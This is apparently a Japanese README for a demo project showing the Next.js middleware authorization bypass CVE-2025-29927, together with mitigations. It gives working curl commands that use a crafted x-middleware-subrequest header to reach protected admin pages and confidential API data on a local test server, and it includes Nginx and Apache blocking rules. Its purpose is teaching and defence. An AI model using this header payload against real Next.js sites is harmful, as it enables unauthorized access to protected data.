
Next.js の Middleware における認可バイパス脆弱性 (CVE-2025-29927) を実演し、許可されていないユーザーが保護された情報にアクセスできるようにします。
このリポジトリは、Next.js の Middleware における認証バイパス脆弱性 (CVE-2025-29927) をデモするサンプルプロジェクトを提供します。この脆弱性により、未認証のユーザーが保護されたリソースにアクセスできる可能性があります。
CVE-2025-29927 は、Next.js のミドルウェアシステムに影響を与える深刻なセキュリティ脆弱性(CVSS スコア: 9.1)です。攻撃者は、HTTP リクエストに特別に細工した x-middleware-subrequest ヘッダーを追加することで、ミドルウェアのセキュリティチェックを完全にバイパスできます。
/admin など)にアクセス可能/api/confidential など)にアクセス可能npm install を実行し、依存関係をインストールnpm run dev を実行して Next.js 開発サーバーを起動http://localhost:3000 を開くと、現在のウェブサイト画面が表示されますNext.js は内部ヘッダー x-middleware-subrequest を使用して、ミドルウェアの再帰呼び出しによる無限ループを防ぎます。しかし、このヘッダーは外部からのリクエストで悪用される可能性があります。リクエストにこのヘッダーが含まれ、最大再帰深度(MAX_RECURSION_DEPTH)に達すると、Next.js はミドルウェアの実行を完全にスキップします。
まず、通常の方法で保護されたパスにアクセスしてみます。
# 保護された管理ページにアクセス
curl http://localhost:3000/admin/dashboard -v
期待される結果: ログインページにリダイレクトされる (302 redirect to /login)
# 保護された API にアクセス
curl http://localhost:3000/api/confidential -v
期待される結果: 401 Unauthorized エラーが返る
次に、特別に細工したヘッダーを使ってミドルウェアをバイパスします。
# /admin パスの保護をバイパス
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
期待される結果: 管理ページの内容にアクセス成功 (200 OK)
# /api/confidential の保護をバイパス
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
期待される結果: API にアクセス成功し、機密情報を取得 (200 OK)
ブラウザの開発者ツールを使用してテストすることもできます。
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboard にアクセスミドルウェアが x-middleware-subrequest ヘッダーを含むリクエストを受け取ると:
修正済みのバージョンにアップグレード:
すぐにアップグレードできない場合は、リバースプロキシ(Nginx、Apache など)レベルで x-middleware-subrequest ヘッダーを含むリクエストをブロックします。
Nginx 設定例:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache 設定例:
RequestHeader unset x-middleware-subrequest
ミドルウェアに加えて、ルートハンドラでも認証チェックを実装します。
// API ルートに追加の認証チェックを追加
export async function GET(request) {
// ミドルウェアだけに頼らず、ここでも認証をチェック
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... リクエストを処理
}